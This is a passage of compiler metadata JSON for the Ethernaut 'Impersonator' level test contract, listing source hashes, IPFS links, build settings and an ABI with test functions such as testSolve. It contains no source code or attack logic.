d7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Impersonator.sol\":{\"keccak256\":\"0xf1b082a74b31bb2d5c955196b79304dad731b6a068f05913acb21ff5693556a8\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://98db8d1db86ed2bc528b18f4aa90042d4a46692062fdb0128b14ea2d39944406\",\"dweb:/ipfs/QmX8m5PtH5ykbayJN72waLrhbLrno8PBKvxaKVh7mVvzJe\"]},\"src/levels/ImpersonatorFactory.sol\":{\"keccak256\":\"0xa21fbf2eec65b88dcb6961349ca27af0a3adf015a06bbceb935f22c8e472c5a2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://dbb84c41981a21dc81d1916b945aa990575babb875643a904946c77a2f7fb347\",\"dweb:/ipfs/QmcEGshNDx4Cb7F96fWmyVTSR4xP2E7qaPpVXk8PXfYGAQ\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Impersonator.t.sol\":{\"keccak256\":\"0x0fd2f09b871da4b6742e6718f9d79c8954eab7a6cadbde2736be4f2d76d62d21\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b715a2cb440dc4e2c943ea55cac940aeeff9ae1da65d75dcd3ad721255b6291f\",\"dweb:/ipfs/QmQWU2DBfjmHKr8SJJQBuWvJS2xpQmZfkLwEZbHiceDXGX\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.26+commit.8a97fa7a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testFail_TrySameSignatureChangeController"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testFail_TrySameSignatureOpen"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment.º"},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Impersonator.t.sol":"TestImpersonator"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Impersonator.sol":{"keccak256":"0xf1b082a74b31bb2d5c955196b79304dad731b6a068f05913acb21ff5693556a8","urls":["bzz-raw://98db8d1db86ed2bc528b18f4aa90042d4a46692062fdb0128b14ea2d39944406","dweb:/ipfs/QmX8m5PtH5ykbayJN72waLrhbLrno8PBKvxaKVh7mVvzJe"],"license":"MIT"},"src/levels/ImpersonatorFactory.sol":{"keccak256":"0xa21fbf2eec65b88dcb6961349ca27af0a3adf015a06bbceb935f22c8e472c5a2","urls":["bzz-raw://dbb84c41981a21dc81d1916b945aa990575babb875643a904946c77a2f7fb347","dweb:/ipfs/QmcEGshNDx4Cb7F96fWmyVTSR4xP2E7qaPpVXk8PXfYGAQ"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5Eo